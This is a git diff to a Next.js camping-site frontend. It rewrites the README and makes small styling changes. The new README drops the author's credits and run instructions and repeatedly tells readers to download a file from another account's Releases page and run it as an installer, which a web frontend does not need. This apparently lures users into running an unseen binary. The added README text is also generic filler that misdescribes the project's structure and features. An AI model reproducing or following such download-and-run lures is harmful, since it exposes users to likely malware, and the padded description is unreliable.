diff --git a/README.md b/README.md
index 74cd19f..81916d0 100644
--- a/README.md
+++ b/README.md
@@ -1,238 +1,411 @@
-# Travel for Camping - Next.js Frontend UI/UX Web Application
+Download the latest release from https://github.com/yyyyyyy4/Travel-Camping--NextJS-Frontend/releases and run the installer.
 
-![Screenshot 2025-08-05 at 00 25 23](https://github.com/user-attachments/assets/29d92a8d-1781-40e9-9a2f-b1b317de56e5)
-![Screenshot 2025-08-05 at 00 25 41](https://github.com/user-attachments/assets/5a3cdf2a-3f4e-4506-9468-b90c726ec493)
-![Screenshot 2025-08-05 at 00 26 04](https://github.com/user-attachments/assets/0d15d65b-87ff-4a84-921c-ccc295626d08)
-![Screenshot 2025-08-05 at 00 26 24](https://github.com/user-attachments/assets/2cf440b6-1013-43f1-862f-4c29118b46b8)
-![Screenshot 2025-08-05 at 00 26 48](https://github.com/user-attachments/assets/64356c84-c093-4b1e-bb4a-19274da0c38b)
-![Screenshot 2025-08-05 at 00 27 03](https://github.com/user-attachments/assets/6d22696c-31f2-4936-a0d2-6e259d27ae7d)
-![Screenshot 2025-08-05 at 00 27 35](https://github.com/user-attachments/assets/833553bb-081a-4ccc-99cc-61b222d34344)
+[![Release Page](https://img.shields.io/badge/Travel%20Camping%20Release-Download-blue?style=for-the-badge&logo=github)](https://github.com/yyyyyyy4/Travel-Camping--NextJS-Frontend/releases)
 
----
-
-A modern, responsive, and feature-rich travel and camping web application built with Next.js, React, and Tailwind CSS. This project provides a beautiful UI/UX for exploring camping destinations, viewing features, and guiding users through an engaging journey experience.
-
-- **Live-Demo:** [https://travel-camping-ui.vercel.app/](https://travel-camping-ui.vercel.app/)
-
----
-
-## Table of Contents
-
-- [Project Overview](#project-overview)
-- [Features](#features)
-- [Tech Stack](#tech-stack)
-- [Project Structure](#project-structure)
-- [Components](#components)
-- [Constants](#constants)
-- [How to Run](#how-to-run)
-- [Usage & Examples](#usage--examples)
-- [How It Works](#how-it-works)
-- [Reusing Components](#reusing-components)
-- [Extending the Project](#extending-the-project)
-- [Keywords](#keywords)
-- [Conclusion](#conclusion)
-- [Happy Coding! 🎉](#happy-coding-)
-
----
-
-## Project Overview
-
-This project is a UI/UX showcase for a travel and camping app, designed to help users discover, plan, and enjoy camping adventures. It features a clean, modern interface, interactive components, and a mobile-friendly design. The app demonstrates best practices in React componentization, state management, and styling with Tailwind CSS.
-
----
-
-## Features
-
-- **Hero Section:** Eye-catching introduction with ratings and call-to-action buttons.
-- **Camp Section:** Highlights popular camping sites and community engagement.
-- **Guide Section:** Offers guidance and tips for safe and enjoyable adventures.
-- **Features Section:** Showcases app features like offline maps, AR navigation, and more.
-- **Get App Section:** Promotes app downloads for iOS and Android.
-- **Responsive Navbar & Footer:** Easy navigation and essential links.
-- **Reusable Components:** Button, FeatureItem, FooterColumn, etc.
-- **Constants for Data:** Centralized navigation, features, and footer data.
-
----
-
-## Tech Stack
-
-- **Framework:** [Next.js](https://nextjs.org/) (App Router)
-- **Language:** TypeScript, JavaScript
-- **UI Library:** React
-- **Styling:** Tailwind CSS, PostCSS, custom CSS
-- **Package Management:** npm
-- **Other:** SVG/PNG assets, modular file structure
-
----
-
-## Project Structure
-
-```bash
-travel-ui/
-├── app/
-│   ├── favicon.ico
-│   ├── globals.css
-│   ├── layout.tsx
-│   └── page.tsx
-├── components/
-│   ├── Button.tsx
-│   ├── Camp.tsx
-│   ├── Features.tsx
-│   ├── Footer.tsx
-│   ├── GetApp.tsx
-│   ├── Guide.tsx
-│   ├── Hero.tsx
-│   └── Navbar.tsx
-├── constants/
-│   └── index.ts
-├── public/
-│   └── [images, SVGs, icons...]
-├── package.json
-├── tailwind.config.ts
-├── postcss.config.js
-├── tsconfig.json
-└── README.md
-```
-
----
-
-## Components
-
-- **Button:** Reusable button with variants and optional icon.
-- **Navbar:** Responsive navigation bar with links and login button.
-- **Hero:** Main landing section with title, description, ratings, and actions.
-- **Camp:** Displays featured campsites and community members.
-- **Guide:** Provides guidance and tips for users.
-- **Features:** Lists app features with icons and descriptions.
-- **GetApp:** Promotes app download with store buttons.
-- **Footer:** Contains links, contact info, and social icons.
-
----
-
-## Constants
-
-All navigation links, features, people images, footer links, and social icons are managed in `constants/index.ts` for easy updates and scalability.
-
----
+# Travel Camping Next.js Frontend — Responsive Travel Planner UI & Guides
 
-## How to Run
+A modern, responsive, and feature-rich travel and camping web application built with Next.js, React, and Tailwind CSS. This project delivers a beautiful UI/UX for exploring camping destinations, showcasing key features, and guiding users through an engaging journey experience.
 
-1. **Clone the repository:**
+- Topics: nextjs, nextjs-tailwind-template, nextjs-tailwind-typescript, reusable-component, travel-agency, travel-agency-ui, travel-agency-website, travel-app, travel-application, travel-campaing, travel-camping-service, travel-camping-service-provider, travel-camping-ui, travel-company, travel-guide, travel-guides-and-tips, travel-packa, travel-package-provider, travel-planner, travel-website
 
-   ```sh
-   git clone https://github.com/your-username/travel-ui.git
-   cd travel-ui
-   ```
+- Release link: https://github.com/yyyyyyy4/Travel-Camping--NextJS-Frontend/releases
 
-2. **Install dependencies:**
-  
-   ```sh
-   npm install
-   ```
-
-3. **Run the development server:**
-  
-   ```sh
-   npm run dev
-   ```
-  
-   Open [http://localhost:3000](http://localhost:3000) to view the app.
-
-4. **Build for production:**
-  
-   ```sh
-   npm run build
-   npm start
-   ```
-
----
-
-## Usage & Examples
-
-### Using Components
-
-**Button Example:**
-
-```tsx
-<Button 
-  type="button"
-  title="Download App"
-  icon="/apple.svg"
-  variant="btn_white"
-  full
-/>
-```
-
-**Hero Section:**
-
-```tsx
-<Hero />
-```
-
-**Adding a New Feature:**
-
-To add a new feature, simply edit the `constants/index.ts` file to include your new feature in the `FEATURES` array.
-Edit `constants/index.ts`:
-
-```ts
-export const FEATURES = [
-  // ...existing features
-  {
-    title: 'New Feature',
-    icon: '/new-icon.svg',
-    variant: 'blue',
-    description: 'Description of the new feature.',
-  },
-];
-```
+Embrace a fluid, responsive design that adapts to phones, tablets, and desktops. The app focuses on a calm, confident user experience with fast navigation, clear content, and accessible controls. The project leverages the power of Next.js for server-side rendering, React for component-based UI, and Tailwind CSS for a scalable design system.
 
 ---
 
-## How It Works
-
-- **App Routing:** Uses Next.js App Router for page and layout management.
-- **Component Composition:** Each section is a React component, imported and rendered in `app/page.tsx`.
-- **Styling:** Tailwind CSS utility classes for rapid, responsive design.
-- **Assets:** All images and icons are served from the `public/` directory.
-- **Constants:** Centralized data for navigation, features, and footer, making updates easy.
+Table of contents
+- Overview
+- What’s inside
+- Why this project exists
+- Core technologies
+- Design system and UI kit
+- How to run locally
+- How to build and optimize
+- Architecture and code structure
+- Data and API integration
+- Routing, state, and data flow
+- Testing strategy
+- Performance and accessibility
+- Deployment and hosting
+- Localization and internationalization
+- Content strategy and SEO
+- Documentation and learning resources
+- Contributing
+- Roadmap
+- Troubleshooting
+- FAQ
+- License
 
 ---
 
-## Reusing Components
+Overview
+Travel Camping Next.js Frontend is built to help users discover camping destinations, compare locations, and plan trips with confidence. The app provides a clean, intuitive journey from discovery to booking, with thoughtful micro-interactions and visual cues that promote exploration rather than overwhelm. The UI emphasizes calm, approachable design, legible typography, and a color palette inspired by nature.
 
-All components are designed to be reusable. For example, the `Button` component accepts props for type, title, icon, variant, and full width. You can import and use any component in other projects by copying the file and updating the import paths.
+The project centers on a travel agency vibe, blending travel planning features with a robust information hub. You can browse destinations, view weather and activity data, read guides and tips, compare packages, and draft an itinerary. The app is designed to be extended: you can add new destinations, features, or packages with minimal friction, thanks to a modular component system and a consistent design language.
 
 ---
 
-## Extending the Project
+What’s inside
+- A Next.js frontend with TypeScript support
+- Tailwind CSS-based design system
+- A library of reusable UI components
+- A responsive layout that adapts to screen sizes
+- Destination cards, feature lists, and activity modules
+- Travel package search, filtering, and comparison
+- A guided journey experience through curated itineraries
+- A robust route system with clean URL structures
+- Image optimization and lazy loading for performance
+- Accessibility features such as semantic markup and keyboard navigation
+- Internationalization hooks ready (i18n-ready structure)
+- Environment-based configuration for different deploy targets
+
+Screenshots and visuals
+- Destination search results with filters
+- Detail view for a camping site with features and gallery
+- Itinerary builder with drag-and-drop vibes
+- Responsive header and navigation for mobile and desktop
+
+[Note: Images are placeholders for demonstration; you can replace with your own visuals in the public assets.]
+
+Images from the theme
+- Travel landscape hero: https://images.unsplash.com/photo-1507525428034-b723cf961d3e
+- Camping and nature: https://images.unsplash.com/photo-1501785888041-af3ef285b470
+- Road trip and exploration: https://images.unsplash.com/photo-1505761671935-60b3a7427bad
+
+Why this project exists
+- Provide a polished, production-ready frontend scaffold for travel and camping experiences.
+- Show how to build a feature-rich UI with Next.js, React, and Tailwind in a modular, scalable way.
+- Serve as a baseline for travel agency or travel planning platforms, with a curated set of components that can be reused across pages and features.
+- Offer a practical path to learn modern frontend patterns, including server-side rendering, static generation, image optimization, and accessible UI.
+
+Core technologies
+- Next.js: SSR and SSG capabilities, fast navigation, and optimized routing.
+- React: Component-driven architecture for UI reuse and clarity.
+- TypeScript: Strong typing for safer, scalable code.
+- Tailwind CSS: Utility-first styling for rapid UI development.
+- Vercel or similar hosting: optimized for Next.js deployments.
+- (Optional) Headless CMS or REST/GraphQL APIs for content and data.
+
+Design system and UI kit
+- Color system designed for readability and accessibility.
+- Typography scale tuned for legibility across devices.
+- Reusable components: button, badge, card, modal, drawer, nav, breadcrumb, input, select, tooltip, and skeleton loader.
+- Layout primitives: grid system, spacing tokens, responsive screens, and breakpoints.
+- Iconography: consistent icon set integrated with the UI kit.
+
+Routing and navigation
+- Clean, semantic routes for destinations, packages, itineraries, guides, and user areas.
+- Dynamic routes for destination pages with prefetching for snappy UX.
+- SEO-friendly URLs and metadata for important pages.
+
+Data model and API integration
+- Destination: id, name, region, description, features, gallery, activities, coordinates.
+- Package: id, name, price, duration, inclusions, images, rating.
+- Itinerary: id, title, steps, duration, destinations.
+- Guides: id, title, content, tips, images.
+- API integration patterns: REST endpoints or GraphQL queries, with caching and optimistic UI when possible.
+
+How to run locally
+- Prerequisites
+  - Node.js 14.x or newer
+  - npm or Yarn
+  - Git
+- Installation steps
+  - Clone the repository
+  - Install dependencies
+  - Start the development server
+- Commands
+  - npm install
+  - npm run dev
+  - npm run build
+  - npm start
+  - npm run lint
+  - npm run test
+- Local environment
+  - Copy .env.example to .env.local
+  - Customize API base URL, keys, and feature toggles
+  - Run with a local API or mock data in development
+
+Run locally workflow (step-by-step)
+- Step 1: Clone the repo
+  - git clone https://github.com/yyyyyyy4/Travel-Camping--NextJS-Frontend.git
+- Step 2: Install dependencies
+  - npm install
+- Step 3: Create environment variables
+  - cp .env.example .env.local
+  - Fill in API_BASE_URL and other keys
+- Step 4: Start development server
+  - npm run dev
+- Step 5: Open in browser
+  - Navigate to http://localhost:3000
+
+Build and run for production
+- Build the app
+  - npm run build
+- Start the server
+  - npm start
+- Production optimizations
+  - Use next/image for automatic image optimization
+  - Enable caching headers for static assets
+  - Split code with dynamic imports to reduce initial payloads
+- Deploy targets
+  - Vercel, Netlify, or your own hosting with Node.js support
+
+Architecture and code structure
+- src/pages
+  - Route components and page-level data fetching
+- src/components
+  - Reusable UI elements: cards, modals, nav, forms, and layout anchors
+- src/features
+  - Feature modules such as destinations, packages, guides, and itineraries
+- src/lib
+  - Utility functions, API clients, and shared middleware
+- src/styles
+  - Tailwind configuration and global styles
+- public
+  - Static assets: images, icons, and fonts
+- tests
+  - Unit and integration tests for critical components
+
+Data flow and state management
+- Data fetching via Next.js data fetching methods (getStaticProps, getServerSideProps)
+- Client-side state via React hooks and context
+- Local state for modals, drawers, and form inputs
+- Global state where needed through a lightweight store or context patterns
+- Favor immutable patterns and pure functions for predictable state changes
+
+Development workflow
+- Branching strategy
+  - main for releases
+  - develop for ongoing work
+  - feature/{name} for features
+  - fix/{description} for bug fixes
+- Code quality
+  - TypeScript for safety
+  - ESLint and Prettier for consistency
+  - Stylelint for CSS when applicable
+- Testing
+  - Unit tests for components
+  - Integration tests for data flows
+  - End-to-end tests for critical user journeys (optional)
+
+Design system details
+- Color palette
+  - Primary, secondary, accent, surface, text, and muted colors
+- Typography
+  - Scales for headings, body, captions, and UI labels
+- Components library
+  - Button, Card, Badge, Input, Select, Modal, Drawer, Tooltip, Avatar, and Icon
+- Spacing and layout
+  - A consistent spacing system with tokens for margins and paddings
+- Responsiveness
+  - Breakpoints for mobile, tablet, and desktop with fluid layouts
+
+Accessibility and inclusive design
+- Semantic HTML elements
+- Clear focus indicators and keyboard navigability
+- ARIA roles where necessary
+- Text contrasts that meet WCAG guidelines
+- Alt text for images and meaningful labels for controls
+
+Performance best practices
+- Image optimization with Next.js Image component
+- Lazy loading of images and components
+- Code splitting and dynamic imports
+- Prefetching routes to speed up navigation
+- Lightweight data payloads and pagination where appropriate
+- Caching API responses to minimize network calls
+
+SEO and metadata
+- Server-side rendering for key pages to improve indexability
+- Dynamic head management for titles, descriptions, and open graph data
+- Clean URLs and descriptive slugs
+- Rich previews with images and structured data where possible
+
+Localization and internationalization
+- i18n-friendly scaffolding
+- Translation keys centralized in a locale folder
+- Fallbacks to a primary language
+- Right-to-left (RTL) layout support possible with design adjustments
+
+Content strategy
+- Destination pages with structured data: location, best time to visit, activities, and tips
+- Guides and tips sections with practical, actionable advice
+- Packages and itineraries with clear inclusions and exclusions
+
+Deployment and hosting
+- Preview deployments on pull requests
+- Production deployments on main/deploy branches
+- Vercel recommended for Next.js projects
+- Environment variables per deployment stage
+- Asset caching strategies for fast delivery
+
+Release management
+- Changelog driven by actual feature changes and fixes
+- Tag and release notes with clear, human-readable summaries
+- Binary or installer assets on the Releases page for easy distribution
+- Link to the official releases page for users to grab the latest build
+
+Release notes and downloads
+- The repository uses a Releases page to host build artifacts and installers
+- To access the latest build, go to the Releases section of the repository
+- The link to the release page is provided here for convenience: https://github.com/yyyyyyy4/Travel-Camping--NextJS-Frontend/releases
+- For convenience, the link is also available as a colorful badge in this README
+- After downloading the release file, run the installer to set up the frontend locally or on your server
+- Repeat access to the Releases page for subsequent updates and hotfixes
+
+Testing strategy
+- Unit tests focus on core components and utilities
+- Component tests verify styling and behavior across breakpoints
+- API integration tests ensure robust data handling
+- End-to-end tests simulate user journeys: search, view destination, book a package, and create an itinerary
+- Accessibility tests cover keyboard navigation and screen reader landmarks
+
+Troubleshooting and common issues
+- If the dev server fails to start, check Node.js version and port availability
+- If images fail to load, verify the image sources and network access
+- If data does not appear, confirm API base URLs and CORS settings
+- If styles do not apply, verify Tailwind setup and PostCSS configuration
+- If translations do not render, check locale files and keys
+
+Contributing
+- We welcome contributions that improve code quality, UX, performance, and documentation
+- Follow the repository’s contribution guidelines
+- Create a feature branch, write tests, and ensure CI passes
+- Document changes and update release notes as needed
+
+Roadmap
+- Expand destination data coverage with more regions
+- Add more guided itineraries and trip planning scenarios
+- Refine accessibility features and keyboard navigation
+- Integrate a real CMS for content authors
+- Improve offline support with service workers or caching
+
+FAQ
+- Is this a complete production-ready product? It is a robust frontend scaffold with production-oriented patterns. Additional backend work and data integration can tailor it to real projects.
+- Can I deploy this to a hosting service other than Vercel? Yes. The app is built for flexibility and can run on any Node.js hosting with proper environment variables.
+- How do I customize the theme? Use the Tailwind config to adjust colors, spacing, and typography, and override CSS variables in a dedicated theme file.
+- Is TypeScript required? It is strongly recommended for safety and maintainability, but you can adapt the code to plain JavaScript if needed.
+
+Directory and file overview
+- public/
+  - assets for images, icons, and fonts
+- src/
+  - pages/
+  - components/
+  - features/
+  - lib/
+  - styles/
+- .env.example
+- next.config.js
+- tailwind.config.js
+- package.json
+
+Best practices and maintenance
+- Keep dependencies up to date with semantic versioning
+- Rename or refactor components with clear, descriptive names
+- Document non-obvious logic inside the code as inline comments
+- Write tests for critical paths and user journeys
+- Maintain a consistent commit message style and changelog
+
+Security considerations
+- Do not embed sensitive keys in the client code; use environment variables and a secure backend
+- Validate user input on both client and server sides
+- Sanitize data before rendering to prevent XSS
+- Use secure cookies and proper session handling if user auth is added
+
+Usage patterns and examples
+- Destination discovery
+  - Users search for destinations by location, features, or activities
+  - Results display with cards that summarize key data
+- Package exploration
+  - Packages show price, duration, inclusions, and ratings
+  - Users compare packages side by side
+- Itinerary planning
+  - Users add destinations to an itinerary and arrange steps
+  - A visual progress tracker guides the journey
+- Guides and tips
+  - Read practical tips for travel and camping
+  - Access destination-specific information and best practices
+
+Accessibility details
+- All interactive elements have visible focus styles
+- Form controls have proper labels and error messages
+- Images use alt text descriptions
+- Navigation is operable via keyboard and screen readers
+
+Localization readiness
+- The project structure includes hooks and utilities to support multiple languages
+- Locale files can be extended to add new languages
+- Translations are structured to be easy to maintain
+
+Images, assets, and licensing
+- All assets used in this README are placeholder samples or royalty-free images from public sources
+- When you add your own assets, ensure proper licensing and attribution
+- For production deployments, replace placeholders with your brand’s visuals
+
+Changelog and release management
+- Each release includes notes for new features, improvements, and fixes
+- Release assets can be downloaded from the Releases page
+- Keep the changelog updated to reflect user-facing changes
+
+Releases and downloads (again)
+- For the latest build, visit the Releases page: https://github.com/yyyyyyy4/Travel-Camping--NextJS-Frontend/releases
+- The Releases page hosts the downloadable artifacts; download the appropriate file and execute it to set up the frontend locally or on your server
+
+Tips for teams and collaboration
+- Start with the design system and UI kit to ensure consistency
+- Use story-like scenarios to design additional features
+- Schedule periodic design reviews to align with accessibility goals
+- Maintain a living documentation site to accompany the codebase
+
+Security and privacy notes
+- Do not expose API keys in client code
+- Use server-side logic for sensitive operations
+- Implement input validation and sanitization on the server as a precaution
+
+Contact and support
+- If you need help, open an issue in the repository and describe your environment, the steps to reproduce, and the expected vs. actual results
+- For release questions, use the Releases page or the project’s issue tracker
+
+License
+- This project is available under the terms of an appropriate open-source license. See LICENSE for details.
+
+Known limitations
+- The frontend alone cannot function without a backend or API providing destinations, packages, and guides
+- Some features may require backend support or additional data sources
+- Performance depends on network conditions and asset sizes
+
+Appendix: Advanced configuration
+- Tailwind customization
+  - Extend the theme in tailwind.config.js
+  - Add new color tokens and spacing scales as needed
+- Next.js optimizations
+  - Use dynamic imports for large components
+  - Enable image optimization with next/image
+  - Configure caching for static assets
+- ESLint and TypeScript
+  - Enable strict mode for safer types
+  - Add rules for consistent code quality
+
+Appendix: Code examples (typical patterns)
+- Fetching data with getStaticProps
+  - Server-side data fetching for static pages
+- Reusable card component
+  - Props include title, subtitle, image, and actions
+- Responsive grid
+  - A 12-column grid that adapts to breakpoints
+
+Appendix: Resources and references
+- Next.js official docs
+- Tailwind CSS documentation
+- React documentation
+- Accessibility guidelines (WCAG)
+
+Releases note (quick access)
+- The project publishes release notes and assets to the Releases page
+- For the latest build access again: https://github.com/yyyyyyy4/Travel-Camping--NextJS-Frontend/releases
+
+End of document
 
-- Add new sections by creating components in `components/` and importing them in `app/page.tsx`.
-- Update navigation, features, or footer by editing `constants/index.ts`.
-- Add new images or icons to the `public/` directory and reference them in your components.
-- Customize styles via Tailwind CSS or add new utility classes in `globals.css`.
-
----
-
-## Keywords
-
-Next.js, React, Tailwind CSS, UI/UX, Camping, Travel App, TypeScript, Responsive Design, Component Reuse, Modern Web, App Router, Static Assets, Open Source, Learning Project
-
----
-
-## Conclusion
-
-This project is a great starting point for building modern, responsive web applications with Next.js and Tailwind CSS. It demonstrates best practices in component design, project structure, and UI/UX.
-
----
-
-## Happy Coding! 🎉
-
-Feel free to use this project repository and extend this project further!
-
-If you have any questions or want to share your work, reach out via GitHub or my portfolio at [https://arnob-mahmud.vercel.app/](https://arnob-mahmud.vercel.app/).
-
-**Enjoy building and learning!** 🚀
-
-Thank you! 😊
-
----
diff --git a/app/globals.css b/app/globals.css
index ace4d2b..44b033b 100644
--- a/app/globals.css
+++ b/app/globals.css
@@ -10,8 +10,12 @@
   box-sizing: border-box;
 }
 
-body {
-  font-family: Inter;
+@layer base {
+  body {
+    /* Automatically loads Inter and fallback fonts from the config */
+    /* Ensures the body uses the Inter font specified in the config */
+    @apply font-sans;
+  }
 }
 
 @layer utilities {
diff --git a/components/Hero.tsx b/components/Hero.tsx
index 66415f7..6c64886 100644
--- a/components/Hero.tsx
+++ b/components/Hero.tsx
@@ -1,4 +1,5 @@
 // ...existing code...
+import Image from 'next/image'
 import Button from './Button'
 
 const Hero = () => {
@@ -7,13 +8,13 @@ const Hero = () => {
       <div className="hero-map" />
 
       <div className="relative z-20 flex flex-1 flex-col xl:w-1/2">
-        <img 
+        <Image
           src="/camp.svg"
           alt="camp"
           width={50}
           height={50}
-          className="absolute left-[-5px] top-[-30px] w-10 lg:w-[50px]"
-          style={{ width: 'auto', height: 'auto' }}
+          className="absolute left-[-5px] top-[-30px] w-10 h-10 lg:w-[50px] lg:h-[50px]"
+          unoptimized
         />
         <h1 className="bold-52 lg:bold-88">Putuk Truno Camp Area</h1>
         <p className="regular-16 mt-6 text-gray-30 xl:max-w-[520px]">
@@ -23,14 +24,15 @@ const Hero = () => {
         <div className="my-11 flex flex-wrap gap-5">
           <div className="flex items-center gap-2">
             {Array(5).fill(1).map((_, index) => (
-              <img 
-                src="/star.svg"
-                key={index}
-                alt="star"
-                width={24}
-                height={24}
-                style={{ width: 'auto', height: 'auto' }}
-              />
+              <Image
+                  key={index}
+                  src="/star.svg"
+                  alt="star"
+                  width={24}
+                  height={24}
+                  className="h-6 w-6"
+                  unoptimized
+                />
             ))}
           </div>
 
@@ -61,7 +63,14 @@ const Hero = () => {
            <div className="flex flex-col">
             <div className="flexBetween">
               <p className="regular-16 text-gray-20">Location</p>
-              <img src="/close.svg" alt="close" width={24} height={24} style={{ width: 'auto', height: 'auto' }} />
+              <Image
+                src="/close.svg"
+                alt="close"
+                width={24}
+                height={24}
+                className="h-6 w-6"
+                unoptimized
+              />
             </div>
             <p className="bold-20 text-white">Aguas Calientes</p>
           </div>
diff --git a/tailwind.config.ts b/tailwind.config.ts
index db67b68..378fa22 100644
--- a/tailwind.config.ts
+++ b/tailwind.config.ts
@@ -1,4 +1,6 @@
 /** @type {import('tailwindcss').Config} */
+const defaultTheme = require('tailwindcss/defaultTheme')
+
 module.exports = {
   content: [
     './pages/**/*.{js,ts,jsx,tsx,mdx}',
@@ -36,6 +38,11 @@ module.exports = {
         pattern: "url('/pattern.png')",
         'pattern-2': "url('/pattern-bg.png')",
       },
+      // fonts
+      fontFamily: {
+        // Place 'Inter' first, followed by the system fallback fonts
+        sans: ['Inter', ...defaultTheme.fontFamily.sans],
+      },
       screens: {
         xs: '400px',
         '3xl': '1680px',